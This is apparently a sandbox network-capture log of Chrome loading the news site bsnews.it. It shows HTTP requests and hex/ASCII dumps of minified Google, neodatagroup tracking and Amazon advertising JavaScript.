2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 29 7b 62 3d 5f 2e 63 61 28 61 2c 62 29 3b 76 61 72 20 63 3b 28 63 3d 30 3c 3d 62 29 26 26 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 70 6c 69 63 65 2e 63 61 6c 6c 28 61 2c 62 2c 31 29 3b 72 65 74 75 72 6e 20 63 7d 3b 5f 2e 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 6c 65 6e 67 74 68 3b 69 66 28 30 3c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 41 72 72 61 79 28 62 29 2c 64 3d 30 3b 64 3c 62 3b 64 2b 2b 29 63 5b 64 5d 3d 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 69 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 32 3e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 2c 62 29 3a 41 72 Data Ascii: ){b=_.ca(a,b);var c;(c=0<=b)&&Array.prototype.splice.call(a,b,1);return c};_.ha=function(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};ia=function(a,b,c){return 2>=arguments.length?Array.prototype.slice.call(a,b):Ar
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 5d 29 3b 65 6c 73 65 20 62 2e 70 75 73 68 28 64 29 7d 72 65 74 75 72 6e 20 62 7d 3b 78 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 61 5b 63 5d 2c 63 2c 61 29 7d 3b 79 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5b 5d 2c 63 3d 30 2c 64 3b 66 6f 72 28 64 20 69 6e 20 61 29 62 5b 63 2b 2b 5d 3d 61 5b 64 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 61 5b 63 5d 2c 63 2c 61 29 29 72 65 74 75 72 6e 20 63 7d 3b 42 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 2c 64 2c 65 3d 31 3b 65 3c 61 72 67 Data Ascii: ]);else b.push(d)}return b};xa=function(a,b){for(var c in a)b.call(void 0,a[c],c,a)};ya=function(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b};za=function(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return c};Ba=function(a,b){for(var c,d,e=1;e<arg
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 74 69 6f 6e 28 61 29 7b 69 66 28 59 61 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 51 61 3f 5f 2e 24 61 28 61 29 3a 5f 2e 5a 61 28 61 29 7d 3b 64 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 65 77 20 63 62 3b 62 2e 61 6a 3d 61 3b 72 65 74 75 72 6e 20 62 7d 3b 65 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 73 70 6c 69 74 28 2f 5c 3f 7c 23 2f 29 2c 63 3d 2f 5c 3f 2f 2e 74 65 73 74 28 61 29 3f 22 3f 22 2b 62 5b 31 5d 3a 22 22 3b 72 65 74 75 72 6e 7b 70 61 74 68 3a 62 5b 30 5d 2c 6b 65 3a 63 2c 68 61 73 68 3a 2f 23 2f 2e 74 65 73 74 28 61 29 3f 22 23 22 2b 28 63 3f 62 5b 32 5d 3a 62 5b 31 5d Data Ascii: tion(a){if(Ya.test(a))return a};_.ab=function(a){return a instanceof _.Qa?_.$a(a):_.Za(a)};db=function(a){var b=new cb;b.aj=a;return b};eb=function(a){var b=a.split(/\?\|#/),c=/\?/.test(a)?"?"+b[1]:"";return{path:b[0],ke:c,hash:/#/.test(a)?"#"+(c?b[2]:b[1]
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 64 6f 77 2c 63 3d 21 30 3b 63 3d 76 6f 69 64 20 30 3d 3d 3d 63 3f 21 31 3a 63 3b 6e 65 77 20 5f 2e 75 2e 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 64 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 67 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 3b 67 2e 6f 6e 65 72 72 6f 72 3d 6e 75 6c 6c 3b 76 61 72 20 68 3b 6e 75 6c 6c 3d 3d 28 68 3d 67 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 7c 7c 68 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 67 29 7d 76 61 72 20 67 3d 62 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 67 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 28 29 3b 64 28 29 7d 3b 67 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 28 29 3b 65 28 76 6f 69 64 20 30 29 7d 3b Data Ascii: dow,c=!0;c=void 0===c?!1:c;new _.u.Promise(function(d,e){function f(){g.onload=null;g.onerror=null;var h;null==(h=g.parentElement)\|\|h.removeChild(g)}var g=b.document.createElement("script");g.onload=function(){f();d()};g.onerror=function(){f();e(void 0)};
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 68 4f 6d 73 3d 5b 5d 29 3b 76 61 72 20 68 3d 7b 7d 3b 67 2e 70 75 73 68 28 28 68 2e 5f 63 74 78 5f 3d 64 2e 63 6f 6e 74 65 78 74 2c 68 2e 5f 62 67 76 5f 3d 64 2e 67 6b 2c 68 2e 5f 62 67 70 5f 3d 64 2e 66 6b 2c 68 2e 5f 6c 69 5f 3d 64 2e 43 6c 2c 68 2e 5f 6a 6b 5f 3d 64 2e 61 65 2c 68 2e 5f 73 74 5f 3d 64 2e 45 64 2c 68 2e 5f 72 63 5f 3d 64 2e 65 66 2c 68 2e 5f 64 6c 5f 3d 64 2e 43 66 2c 68 2e 5f 67 32 5f 3d 64 2e 64 66 2c 68 29 29 3b 69 66 28 64 3d 66 2e 47 6f 6f 67 6c 65 44 58 35 59 4b 55 53 6b 29 66 2e 47 6f 6f 67 6c 65 44 58 35 59 4b 55 53 6b 3d 76 6f 69 64 20 30 2c 64 5b 31 5d 28 29 3b 65 3d 5f 2e 68 62 28 78 62 2c 65 29 3b 73 62 28 65 29 7d 72 65 74 75 72 6e 20 63 2e 72 65 74 75 72 6e 28 62 29 7d 29 7d 3b 43 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b Data Ascii: hOms=[]);var h={};g.push((h._ctx_=d.context,h._bgv_=d.gk,h._bgp_=d.fk,h._li_=d.Cl,h._jk_=d.ae,h._st_=d.Ed,h._rc_=d.ef,h._dl_=d.Cf,h._g2_=d.df,h));if(d=f.GoogleDX5YKUSk)f.GoogleDX5YKUSk=void 0,d[1]();e=_.hb(xb,e);sb(e)}return c.return(b)})};Cb=function(a){
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 4a 62 5b 61 5d 7c 7c 22 22 7d 3b 4d 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4c 62 26 26 6e 75 6c 6c 21 3d 61 26 26 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 7d 3b 4f 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 21 3d 3d 4e 62 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 6c 6c 65 67 61 6c 20 65 78 74 65 72 6e 61 6c 20 63 61 6c 6c 65 72 22 29 3b 7d 3b 53 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 42 69 67 49 6e 74 7d 3b 58 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3e 61 3b 61 3d 4d 61 74 68 2e 61 62 73 28 61 29 3b 76 61 72 20 63 3d 61 3e 3e 3e 30 3b 61 3d 4d 61 74 68 2e 66 6c 6f Data Ascii: ){return Jb[a]\|\|""};Mb=function(a){return Lb&&null!=a&&a instanceof Uint8Array};Ob=function(a){if(a!==Nb)throw Error("illegal external caller");};Sb=function(){return"function"===typeof BigInt};Xb=function(a){var b=0>a;a=Math.abs(a);var c=a>>>0;a=Math.flo
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 2c 56 62 3e 3e 3e 3d 30 29 3b 62 26 26 28 62 3d 5f 2e 78 28 55 62 28 56 62 2c 57 62 29 29 2c 61 3d 62 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 2c 62 3d 62 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 2c 56 62 3d 61 2c 57 62 3d 62 29 7d 7d 3b 55 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 7e 62 3b 61 3f 61 3d 7e 61 2b 31 3a 62 2b 3d 31 3b 72 65 74 75 72 6e 5b 61 2c 62 5d 7d 3b 63 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 7d 3b 67 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 5f 2e 75 2e 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 3d 74 79 70 65 6f 66 28 30 2c 5f 2e Data Ascii: ,Vb>>>=0);b&&(b=_.x(Ub(Vb,Wb)),a=b.next().value,b=b.next().value,Vb=a,Wb=b)}};Ub=function(a,b){b=~b;a?a=~a+1:b+=1;return[a,b]};cc=function(a){return Array.prototype.slice.call(a)};gc=function(a){return"function"===typeof _.u.Symbol&&"symbol"===typeof(0,_.
2024-03-28 08:51:18 UTC	1252	IN	Data Raw: 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 45 72 72 6f 72 28 29 3b 43 63 28 61 2c 22 69 6e 63 69 64 65 6e 74 22 29 3b 7a 63 3f 42 63 28 61 29 3a 46 62 28 61 29 7d 3b 48 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 45 72 72 6f 72 28 61 29 3b 43 63 28 61 2c 22 77 61 72 6e 69 6e 67 22 29 3b 42 63 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 49 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6e 75 6c 6c 21 3d 61 26 26 22 6e 75 6d 62 65 72 22 21 3d 3d 74 79 70 65 6f 66 20 61 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 56 61 6c 75 65 20 6f 66 20 66 6c 6f 61 74 2f 64 6f 75 62 6c 65 20 66 69 65 6c 64 20 6d 75 73 74 20 62 65 20 61 20 6e 75 6d 62 65 72 2c 20 66 6f 75 6e 64 20 22 2b 74 79 70 65 6f 66 20 61 2b 22 3a 20 22 2b 61 29 3b 72 65 74 75 Data Ascii: c=function(){var a=Error();Cc(a,"incident");zc?Bc(a):Fb(a)};Hc=function(a){a=Error(a);Cc(a,"warning");Bc(a);return a};_.Ic=function(a){if(null!=a&&"number"!==typeof a)throw Error("Value of float/double field must be a number, found "+typeof a+": "+a);retu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	49966	152.195.19.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	522	OUT	GET /omg.js HTTP/1.1 Host: js.omg.neodatagroup.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	572	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3360 Cache-Control: max-age=7200 Content-MD5: lrv/gYilYwfQMBNFHrYX6A== Content-Type: text/javascript Date: Thu, 28 Mar 2024 08:51:18 GMT Etag: "0x8DC1BF37C42D2DA" Expires: Thu, 28 Mar 2024 10:51:18 GMT Last-Modified: Tue, 23 Jan 2024 09:12:55 GMT Server: ECAcc (dce/268F) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-state: available x-ms-lease-status: unlocked x-ms-request-id: 340629bb-801e-00b7-7ce5-8082cd000000 x-ms-version: 2014-02-14 Content-Length: 84894 Connection: close
2024-03-28 08:51:18 UTC	16383	IN	Data Raw: 76 61 72 20 24 6a 73 63 6f 6d 70 3d 24 6a 73 63 6f 6d 70 7c 7c 7b 7d 3b 24 6a 73 63 6f 6d 70 2e 73 63 6f 70 65 3d 7b 7d 3b 24 6a 73 63 6f 6d 70 2e 41 53 53 55 4d 45 5f 45 53 35 3d 21 31 3b 24 6a 73 63 6f 6d 70 2e 41 53 53 55 4d 45 5f 4e 4f 5f 4e 41 54 49 56 45 5f 4d 41 50 3d 21 31 3b 24 6a 73 63 6f 6d 70 2e 41 53 53 55 4d 45 5f 4e 4f 5f 4e 41 54 49 56 45 5f 53 45 54 3d 21 31 3b 24 6a 73 63 6f 6d 70 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3d 24 6a 73 63 6f 6d 70 2e 41 53 53 55 4d 45 5f 45 53 35 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 74 29 7b 63 21 3d 41 Data Ascii: var $jscomp=$jscomp\|\|{};$jscomp.scope={};$jscomp.ASSUME_ES5=!1;$jscomp.ASSUME_NO_NATIVE_MAP=!1;$jscomp.ASSUME_NO_NATIVE_SET=!1;$jscomp.defineProperty=$jscomp.ASSUME_ES5\|\|"function"==typeof Object.defineProperties?Object.defineProperty:function(c,l,t){c!=A
2024-03-28 08:51:18 UTC	1	IN	Data Raw: 68 Data Ascii: h
2024-03-28 08:51:18 UTC	16383	IN	Data Raw: 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2c 63 3d 38 2a 61 2e 73 69 67 42 79 74 65 73 3b 65 5b 63 3e 3e 3e 35 5d 7c 3d 31 32 38 3c 3c 32 34 2d 63 25 33 32 3b 76 61 72 20 68 3d 64 2e 66 6c 6f 6f 72 28 62 2f 34 32 39 34 39 36 37 32 39 36 29 3b 65 5b 31 35 2b 28 36 34 2b 63 3e 3e 3e 39 3c 3c 34 29 5d 3d 31 36 37 31 31 39 33 35 26 28 68 3c 3c 38 7c 68 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 68 3c 3c 32 34 7c 68 3e 3e 3e 38 29 3b 65 5b 31 34 2b 28 36 34 2b 0a 63 3e 3e 3e 39 3c 3c 34 29 5d 3d 31 36 37 31 31 39 33 35 26 28 62 3c 3c 38 7c 62 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 62 3c 3c 32 34 7c 62 3e 3e 3e 38 29 3b 61 2e 73 69 67 42 79 74 65 73 3d 34 2a 28 65 2e 6c 65 6e 67 74 68 2b 31 29 3b 74 68 69 73 2e 5f 70 72 6f 63 65 Data Ascii: is._nDataBytes,c=8a.sigBytes;e[c>>>5]\|=128<<24-c%32;var h=d.floor(b/4294967296);e[15+(64+c>>>9<<4)]=16711935&(h<<8\|h>>>24)\|4278255360&(h<<24\|h>>>8);e[14+(64+c>>>9<<4)]=16711935&(b<<8\|b>>>24)\|4278255360&(b<<24\|b>>>8);a.sigBytes=4(e.length+1);this._proce
2024-03-28 08:51:18 UTC	16383	IN	Data Raw: 20 30 29 3a 65 3d 74 68 69 73 2e 5f 70 72 65 76 42 6c 6f 63 6b 3b 66 6f 72 28 63 3d 30 3b 63 3c 64 3b 63 2b 2b 29 61 5b 62 2b 63 5d 5e 3d 65 5b 63 5d 7d 76 61 72 20 62 3d 0a 79 2c 65 3d 62 2e 6c 69 62 2c 63 3d 65 2e 42 61 73 65 2c 66 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 67 3d 65 2e 42 75 66 66 65 72 65 64 42 6c 6f 63 6b 41 6c 67 6f 72 69 74 68 6d 2c 70 3d 62 2e 65 6e 63 2c 6e 3d 28 70 2e 55 74 66 38 2c 70 2e 42 61 73 65 36 34 29 2c 45 3d 62 2e 61 6c 67 6f 2e 45 76 70 4b 44 46 2c 6d 3d 65 2e 43 69 70 68 65 72 3d 67 2e 65 78 74 65 6e 64 28 7b 63 66 67 3a 63 2e 65 78 74 65 6e 64 28 29 2c 63 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 72 65 61 74 65 28 74 68 69 73 2e 5f 45 4e Data Ascii: 0):e=this._prevBlock;for(c=0;c<d;c++)a[b+c]^=e[c]}var b=y,e=b.lib,c=e.Base,f=e.WordArray,g=e.BufferedBlockAlgorithm,p=b.enc,n=(p.Utf8,p.Base64),E=b.algo.EvpKDF,m=e.Cipher=g.extend({cfg:c.extend(),createEncryptor:function(a,b){return this.create(this._EN
2024-03-28 08:51:18 UTC	2	IN	Data Raw: 7b 74 Data Ascii: {t
2024-03-28 08:51:18 UTC	16383	IN	Data Raw: 68 69 73 2e 5f 64 6f 43 72 79 70 74 42 6c 6f 63 6b 28 61 2c 62 2c 74 68 69 73 2e 5f 69 6e 76 53 75 62 4b 65 79 73 29 7d 2c 5f 64 6f 43 72 79 70 74 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 63 29 7b 74 68 69 73 2e 5f 6c 42 6c 6f 63 6b 3d 64 5b 65 5d 3b 74 68 69 73 2e 5f 72 42 6c 6f 63 6b 3d 64 5b 65 2b 31 5d 3b 61 2e 63 61 6c 6c 28 74 68 69 73 2c 34 2c 32 35 32 36 34 35 31 33 35 29 3b 61 2e 63 61 6c 6c 28 74 68 69 73 2c 31 36 2c 36 35 35 33 35 29 3b 62 2e 63 61 6c 6c 28 74 68 69 73 2c 32 2c 38 35 38 39 39 33 34 35 39 29 3b 62 2e 63 61 6c 6c 28 74 68 69 73 2c 38 2c 31 36 37 31 31 39 33 35 29 3b 61 2e 63 61 6c 6c 28 74 68 69 73 2c 31 2c 31 34 33 31 36 35 35 37 36 35 29 3b 66 6f 72 28 76 61 72 20 66 3d 30 3b 31 36 3e 66 3b 66 2b 2b 29 7b 66 6f Data Ascii: his._doCryptBlock(a,b,this._invSubKeys)},_doCryptBlock:function(d,e,c){this._lBlock=d[e];this._rBlock=d[e+1];a.call(this,4,252645135);a.call(this,16,65535);b.call(this,2,858993459);b.call(this,8,16711935);a.call(this,1,1431655765);for(var f=0;16>f;f++){fo
2024-03-28 08:51:18 UTC	16383	IN	Data Raw: 36 34 30 30 30 30 30 29 20 2d 20 5b 43 41 4c 4c 45 44 5d 22 29 2c 21 30 3b 63 28 22 53 59 4e 43 20 2d 20 22 2b 62 2b 22 20 2d 20 45 4c 41 50 53 45 44 3e 4d 41 58 20 28 22 2b 67 2b 22 3e 38 36 34 30 30 30 30 30 29 20 2d 20 5b 53 4b 49 50 50 45 44 5d 22 29 3b 72 65 74 75 72 6e 21 31 7d 63 61 74 63 68 28 70 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 20 63 28 22 53 59 4e 43 20 2d 20 22 2b 0a 62 2b 22 20 2d 20 45 72 72 6f 72 3a 20 22 2b 70 2b 22 20 5b 43 41 4c 4c 45 44 5d 22 29 2c 21 30 7d 7d 2c 73 65 74 4e 65 6f 49 64 4c 61 73 74 53 79 6e 63 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 69 64 3a 61 2c 74 73 3a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 29 3b 74 2e 73 65 74 28 22 6e Data Ascii: 6400000) - [CALLED]"),!0;c("SYNC - "+b+" - ELAPSED>MAX ("+g+">86400000) - [SKIPPED]");return!1}catch(p){if(!a)return c("SYNC - "+b+" - Error: "+p+" [CALLED]"),!0}},setNeoIdLastSync:function(a){var b=JSON.stringify({id:a,ts:(new Date).getTime()});t.set("n
2024-03-28 08:51:18 UTC	2976	IN	Data Raw: 79 76 65 73 2d 72 6f 63 68 65 72 2e 2e 2a 2f 2e 2a 3f 22 29 7c 7c 64 6f 63 75 6d 65 6e 74 2e 55 52 4c 2e 6d 61 74 63 68 28 22 5e 68 74 74 70 2e 2a 3a 2f 2f 77 77 77 2e 76 6f 6c 6b 73 77 61 67 65 6e 2e 2e 2a 2f 2e 2a 3f 22 29 7c 7c 64 6f 63 75 6d 65 6e 74 2e 55 52 4c 2e 6d 61 74 63 68 28 22 5e 68 74 74 70 2e 2a 3a 2f 2f 77 77 77 2e 62 72 65 69 6c 2e 2e 2a 2f 2e 2a 3f 22 29 7c 7c 64 6f 63 75 6d 65 6e 74 2e 55 52 4c 2e 6d 61 74 63 68 28 22 5e 68 74 74 70 2e 2a 3a 2f 2f 77 77 77 2e 68 69 70 68 6f 70 77 61 74 63 68 65 73 2e 2e 2a 2f 2e 2a 3f 22 29 7c 7c 64 6f 63 75 6d 65 6e 74 2e 55 52 4c 2e 6d 61 74 63 68 28 22 5e 68 74 74 70 2e 2a 3a 2f 2f 77 77 77 2e 72 65 6e 61 75 6c 74 2e 2e 2a 2f 2e 2a 3f 22 29 29 72 65 74 75 72 6e 20 74 68 69 73 2e 64 6f 63 75 6d 65 6e Data Ascii: yves-rocher../.?")\|\|document.URL.match("^http.://www.volkswagen../.?")\|\|document.URL.match("^http.://www.breil../.?")\|\|document.URL.match("^http.://www.hiphopwatches../.?")\|\|document.URL.match("^http.://www.renault../.?"))return this.documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	49968	3.162.128.169	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	587	OUT	GET /cdn/prod/config?src=3627&u=https%3A%2F%2Fbsnews.it HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	489	IN	HTTP/1.1 200 OK Content-Type: application/json;charset=UTF-8 Content-Length: 943 Connection: close Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Cache-Control: max-age=21550, s-maxage=21600 Date: Thu, 28 Mar 2024 08:51:18 GMT Server: Server X-Cache: Miss from cloudfront Via: 1.1 cfbbd45bc29ebb0e8475ffa26dff7618.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: BLywMbVnFcDdaUp3Rjfml8-rpHCT0XJYcGOOJ3sf7Y95syC8WLkJ9A==
2024-03-28 08:51:18 UTC	943	IN	Data Raw: 7b 22 33 70 76 65 6e 64 6f 72 22 3a 22 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 20 28 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 29 20 7b 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 2e 5f 5f 6c 69 76 65 52 61 6d 70 5f 5f 20 3d 20 66 61 6c 73 65 3b 7d 7d 29 28 29 3b 3b 69 66 20 28 21 77 69 6e 64 6f 77 2e 50 75 62 6c 69 73 68 65 72 43 6f 6d 6d 6f 6e 49 64 29 20 7b 5c 6e 20 20 20 20 76 61 72 20 70 75 62 63 6f 6d 6d 6f 6e 53 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 5c 6e 20 20 20 20 70 75 62 63 6f 6d 6d 6f 6e 53 63 72 69 70 74 2e 73 72 63 20 3d 20 27 2f 2f 73 65 63 75 72 65 2e 63 64 6e 2e 66 61 73 74 63 6c 69 63 6b 2e 6e 65 74 2f 6a 73 2f 70 75 62 63 69 64 2f 6c 61 74 65 73 74 2f 70 75 Data Ascii: {"3pvendor":"(function(){if (window.apstag) {window.apstag.__liveRamp__ = false;}})();;if (!window.PublisherCommonId) {\n var pubcommonScript = document.createElement('script');\n pubcommonScript.src = '//secure.cdn.fastclick.net/js/pubcid/latest/pu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	49969	3.162.128.169	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	564	OUT	GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	715	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 6482 Connection: close Date: Thu, 28 Mar 2024 08:51:19 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 Last-Modified: Thu, 29 Feb 2024 02:13:08 GMT ETag: "a4d296427fc806b21335359e398c025c" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=86400 x-amz-version-id: r5.lR.LJ66XEXzxUUVo7iMemjL_F_GoE Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding,Origin X-Cache: Miss from cloudfront Via: 1.1 14c14e18d9457c881708b4141ebcdd66.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: RvWaKhlzE_Ugw1lnRRviIb426e8c16iZfVM2LdBMpRnBcFA_dGqJQg==
2024-03-28 08:51:18 UTC	6482	IN	Data Raw: 76 61 72 20 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 3d 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 7c 7c 7b 7d 3b 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 65 72 72 6f 72 73 3d 5b 5d 2c 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 72 65 70 6f 72 74 45 72 72 6f 72 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 3b 66 6f 72 28 2f 5e 68 74 74 70 73 3f 3a 5c 2f 5c 2f 2f 2e 74 65 73 74 28 61 29 3d 3d 3d 21 31 26 26 28 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 61 29 2c 22 2f 22 21 3d 3d 61 2e 73 75 62 73 74 72 28 61 2e 6c 65 6e 67 74 68 2d 31 29 26 26 28 61 2b 3d 22 2f 22 29 2c 62 3d 30 3b 62 3c 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 65 72 72 6f 72 73 2e 6c 65 6e 67 74 68 3b 62 